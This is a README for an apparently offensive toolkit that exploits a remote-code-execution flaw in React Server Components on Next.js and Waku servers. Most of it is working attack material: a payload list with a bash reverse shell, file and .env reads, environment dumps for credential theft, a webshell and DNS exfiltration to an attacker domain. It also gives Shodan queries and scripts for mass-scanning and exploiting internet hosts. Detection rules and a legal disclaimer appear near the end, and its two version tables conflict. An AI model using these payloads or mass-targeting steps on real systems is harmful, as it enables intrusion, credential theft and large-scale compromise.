
Advanced exploitation toolkit for React Server Components Remote Code Execution vulnerabilities
For authorized penetration testing and security research only
Features • Installation • Usage • Shodan Integration • Examples • Disclaimer
This toolkit exploits a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) implementations, specifically targeting:
The vulnerability leverages prototype pollution and unsafe deserialization in RSC's data handling mechanism to achieve arbitrary code execution on the server.
React Server Components use a custom serialization format to transfer data between client and server. The vulnerability exists in how these frameworks deserialize and process specially crafted payloads.
Attack Chain:
$X:constructor:constructor to access Function constructor_prefix fieldAttacker → Malicious RSC Payload → Target Server
↓
Unsafe Deserialization
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Prototype Chain Access
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Function Constructor
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⚠️ RCE ACHIEVED ⚠️
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# or
yarn install
# Install Shodan CLI
pip install shodan
# Initialize with your API key
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# Start listener
nc -lvnp 4444
# Execute exploit
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
*Either --payload or --custom is required
View all payloads:
node rsc-rce-exploit.js --list
Output:
📋 Available payloads:
console - Basic PoC - Console output
Code: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Read /etc/passwd
Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Dump environment variables
Code: console.log(JSON.stringify(process.env,null,2))
execCommand - Execute system command
Code: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Write webshell to /tmp
Code: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Read package.json
Code: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS exfiltration
Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
Execute any JavaScript code:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Basic Next.js
http.component:"Next.js"
# Next.js with RSC
http.html:"__next" http.html:"RSC"
# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"
# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"
# Geographically targeted (France)
http.component:"Next.js" country:FR
# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Waku framework
http.html:"waku" http.html:"RSC"
# Waku RSC endpoints
http.path:"/RSC/"
Use the provided automation script:
# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100
# With custom payload
./shodan-scanner.sh "http.component:\"Next.js\"" 50 envDump
# 1. Search Shodan
shodan search 'http.component:"Next.js" country:FR' \
--fields ip_str,port,org,hostnames \
--limit 100 > targets.txt
# 2. Test each target
while read -r line; do
ip=$(echo $line | awk '{print $1}')
port=$(echo $line | awk '{print $2}')
echo "[*] Testing http://$ip:$port"
node rsc-rce-exploit.js \
--target "http://$ip:$port" \
--payload console
done < targets.txt
The mass-exploit.js tool allows testing multiple targets:
# From file
node mass-exploit.js --file targets.txt --payload console --threads 10
# From Shodan
node mass-exploit.js --shodan "http.component:\"Next.js\"" --limit 50 --payload envDump
# Save results
node mass-exploit.js --file targets.txt --payload console --output results.json
Example for automated security testing:
# .github/workflows/security-test.yml
name: RSC Security Test
on: [push]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- run: npm install
- run: node rsc-rce-exploit.js --target http://staging.example.com --payload console
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload console
Expected Output:
╔═══════════════════════════════════════════════════════════╗
║ RSC RCE Exploit - Enhanced Version ║
║ React Server Components Code Execution ║
╚═══════════════════════════════════════════════════════════╝
[*] Starting exploitation...
[*] Targeting Next.js RSC endpoint...
[*] URL: https://vulnerable.example.com
[*] Payload: console.log(7*7+1)...
[+] Response status: 200
[+] Response body:
50
[*] Exploitation complete!
node rsc-rce-exploit.js \
--target https://api.target.com \
--payload envDump
Result:
process.env variables# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Execute exploit
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--payload webshell
# Access webshell
curl "http://vulnerable.example.com:9999/cmd?c=whoami"
# Setup Burp Collaborator or your DNS server
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "require('dns').resolve4('$(whoami).your-burp.com',()=>{})"
node rsc-rce-exploit.js \
--target https://waku-app.example.com \
--framework waku \
--endpoint /RSC/custom.txt \
--payload execCommand \
--command "id"
# Read sensitive files
node rsc-rce-exploit.js \
--target https://vulnerable.example.com \
--custom "console.log(require('fs').readFileSync('.env','utf8'))"
Update Framework
npm install next@latest
# or
npm install waku@latest
Validate Input
// Validate all RSC payloads
function validateRSCPayload(payload) {
// Implement strict validation
if (payload.includes('constructor')) return false;
if (payload.includes('__proto__')) return false;
return true;
}
Content Security Policy
// next.config.js
module.exports = {
async headers() {
return [{
source: '/:path*',
headers: [
{ key: 'X-Frame-Options', value: 'DENY' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
],
}]
},
}
Disable RSC in Production (if not needed)
// next.config.js
module.exports = {
experimental: {
serverActions: false,
},
}
next-action header usageYARA Rule:
rule RSC_RCE_Exploit {
strings:
$s1 = "constructor:constructor"
$s2 = "_prefix"
$s3 = "$@"
$s4 = "resolved_model"
condition:
3 of them
}
Snort Rule:
alert tcp any any -> any any (msg:"RSC RCE Attempt"; content:"next-action"; http_header; content:"constructor:constructor"; http_client_body; sid:1000001;)
| Version Range | Status | Notes |
|---|---|---|
| < 0.18.0 | ⚠️ VULNERABLE | Critical RCE |
| >= 0.18.0 | ✅ Patched | Update recommended |
Contributions are welcome! Please follow these guidelines:
git checkout -b feature/amazing-feature)git commit -m 'Add amazing feature')git push origin feature/amazing-feature)⚠️ LEGAL DISCLAIMER ⚠️
This toolkit is provided for AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.
By using this software, you agree to:
1. Only test systems you own or have explicit written permission to test
2. Comply with all applicable local, state, national, and international laws
3. Not use this tool for malicious purposes or illegal activities
4. Accept full responsibility for your actions
The authors and contributors:
- Are NOT responsible for any misuse or damage caused by this tool
- Do NOT encourage or condone illegal activity
- Provide this tool "AS IS" without warranty of any kind
UNAUTHORIZED ACCESS TO COMPUTER SYSTEMS IS ILLEGAL.
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- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act - UK
- European Cybercrime Convention
- And other applicable laws in your jurisdiction
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| Payload | Description | Use Case |
|---|
console | Basic PoC (console.log) | Verify vulnerability |
reverseShell | Bash reverse shell | Initial access |
readFile | Read /etc/passwd | Filesystem access |
envDump | Dump environment variables | Credential extraction |
execCommand | Execute system commands | Arbitrary command execution |
webshell | Deploy Express webshell | Persistent access |
exfilPackage | Exfiltrate package.json | Dependency analysis |
dnsExfil | DNS exfiltration (OOB) | Blind exploitation |
| Option | Description | Required |
|---|
--target <url> | Target URL | ✅ |
--framework <name> | Framework: next or waku | ❌ (default: next) |
--payload <name> | Payload name (see below) | ✅* |
--custom <code> | Custom JavaScript code | ✅* |
--lhost <ip> | Your IP (for reverse shell) | ❌ |
--lport <port> | Your port (for reverse shell) | ❌ |
--command <cmd> | Command to execute | ❌ |
--endpoint <path> | Custom RSC endpoint (Waku) | ❌ |
--action-id <id> | Custom next-action ID | ❌ |
--list | List available payloads | ❌ |
--verbose | Verbose output | ❌ |
--help | Show help | ❌ |
| Version Range | Status | Notes |
|---|
| < 13.4.0 | ✅ Not Affected | RSC not enabled by default |
| 13.4.0 - 13.4.19 | ⚠️ VULNERABLE | Critical RCE |
| 13.5.0 - 14.0.4 | ⚠️ VULNERABLE | Critical RCE |
| 14.1.0 | ⚠️ VULNERABLE | Partial mitigation |
| >= 14.1.1 | ✅ Patched | Update recommended |